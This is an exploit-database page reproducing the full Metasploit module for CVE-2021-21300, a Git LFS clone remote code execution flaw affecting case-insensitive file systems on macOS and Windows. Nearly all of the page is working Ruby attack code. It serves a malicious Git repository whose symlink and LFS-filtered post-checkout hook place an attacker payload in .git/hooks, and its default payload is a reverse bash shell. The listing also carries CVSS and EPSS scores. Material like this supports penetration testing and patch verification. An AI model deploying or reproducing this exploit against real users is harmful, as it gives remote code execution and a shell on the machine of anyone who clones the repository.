Lucene search
K

Git LFS Clone Command Execution Exploit

🗓️ 31 Aug 2021 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 176 Views

Git LFS Clone Remote Code Execution Exploit Vulnerabilit

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Git
  include Msf::Exploit::Git::SmartHttp
  include Msf::Exploit::Git::Lfs
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Git LFS Clone Command Exec',
        'Description' => %q{
          Git clients that support delay-capable clean / smudge
          filters and symbolic links on case-insensitive file systems are
          vulnerable to remote code execution while cloning a repository.

          Usage of clean / smudge filters through Git LFS and a
          case-insensitive file system changes the checkout order
          of repository files which enables the placement of a Git hook
          in the `.git/hooks` directory. By default, this module writes
          a `post-checkout` script so that the payload will automatically
          be executed upon checkout of the repository.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Johannes Schindelin', # Discovery
          'Matheus Tavares', # Discovery
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-21300' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ],
          [ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ]
        ],
        'DisclosureDate' => '2021-04-26',
        'Platform' => [ 'unix' ],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Git for MacOS, Windows',
            {
              'Platform' => [ 'unix' ],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
        }
      )
    )

    register_options(
      [
        OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
      ]
    )

    deregister_options('RHOSTS', 'RPORT')
  end

  def exploit
    setup_repo_structure
    super
  end

  def setup_repo_structure
    link_content = '.git/hooks'
    link_name = Rex::Text.rand_text_alpha(8..12).downcase
    link_obj = GitObject.build_blob_object(link_content)

    dir_name = link_name.upcase
    git_attr = '.gitattributes'

    git_hook = 'post-checkout'
    @hook_payload = "#!/bin/sh\n#{payload.encoded}"
    ptr_file = generate_pointer_file(@hook_payload)

    # need to initially send the pointer file
    # then send the actual object when Git LFS requests it
    git_hook_ptr = GitObject.build_blob_object(ptr_file)

    git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs"
    git_attr_obj = GitObject.build_blob_object(git_attr_content)

    sub_file_content = Rex::Text.rand_text_alpha(0..150)
    sub_file_name = Rex::Text.rand_text_alpha(8..12)
    sub_file_obj = GitObject.build_blob_object(sub_file_content)

    register_dir_for_cleanup('.git')
    register_files_for_cleanup(git_attr, link_name)

    # create subdirectory which holds payload
    sub_tree =
      [
        {
          mode: '100644',
          file_name: sub_file_name,
          sha1: sub_file_obj.sha1
        },
        {
          mode: '100755',
          file_name: git_hook,
          sha1: git_hook_ptr.sha1
        }
      ]

    sub_tree_obj = GitObject.build_tree_object(sub_tree)

    # root of repository
    tree_ent =
      [
        {
          mode: '100644',
          file_name: git_attr,
          sha1: git_attr_obj.sha1
        },
        {
          mode: '040000',
          file_name: dir_name,
          sha1: sub_tree_obj.sha1
        },
        {
          mode: '120000',
          file_name: link_name,
          sha1: link_obj.sha1
        }
      ]
    tree_obj = GitObject.build_tree_object(tree_ent)
    commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)

    @git_objs =
      [
        commit, tree_obj, sub_tree_obj,
        sub_file_obj, git_attr_obj, git_hook_ptr,
        link_obj
      ]

    @refs =
      {
        'HEAD' => 'refs/heads/master',
        'refs/heads/master' => commit.sha1
      }
  end

  def create_git_uri
    "/#{Faker::App.name.downcase}.git".gsub(' ', '-')
  end

  def primer
    @git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
    @git_addr = URI.parse(get_uri).merge(@git_repo_uri)
    print_status("Git repository to clone: #{@git_addr}")
    hardcoded_uripath(@git_repo_uri)
    hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
  end

  def on_request_uri(cli, req)
    if req.uri.include?('git-upload-pack')
      request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
      case request.type
      when 'ref-discovery'
        response = send_refs(request)
      when 'upload-pack'
        response = send_requested_objs(request)
      else
        fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
      end
    else
      response = handle_lfs_objects(req)
      unless response.code == 200
        cli.send_response(response)
        fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
      end
    end

    cli.send_response(response)
  end

  def send_refs(req)
    fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'

    response = get_ref_discovery_response(req, @refs)
    fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response

    response
  end

  def send_requested_objs(req)
    upload_pack_resp = get_upload_pack_response(req, @git_objs)
    unless upload_pack_resp
      fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
    end

    upload_pack_resp
  end

  def handle_lfs_objects(req)
    git_hook_obj = GitObject.build_blob_object(@hook_payload)

    case req.method
    when 'POST'
      print_status('Sending payload data...')
      response = get_batch_response(req, @git_addr, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
    when 'GET'
      print_status('Sending LFS object...')
      response = get_requested_obj_response(req, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
    else
      fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
    end

    response
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2021 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 3.17.5 - 8
CVSS 25.1
EPSS0.58284
176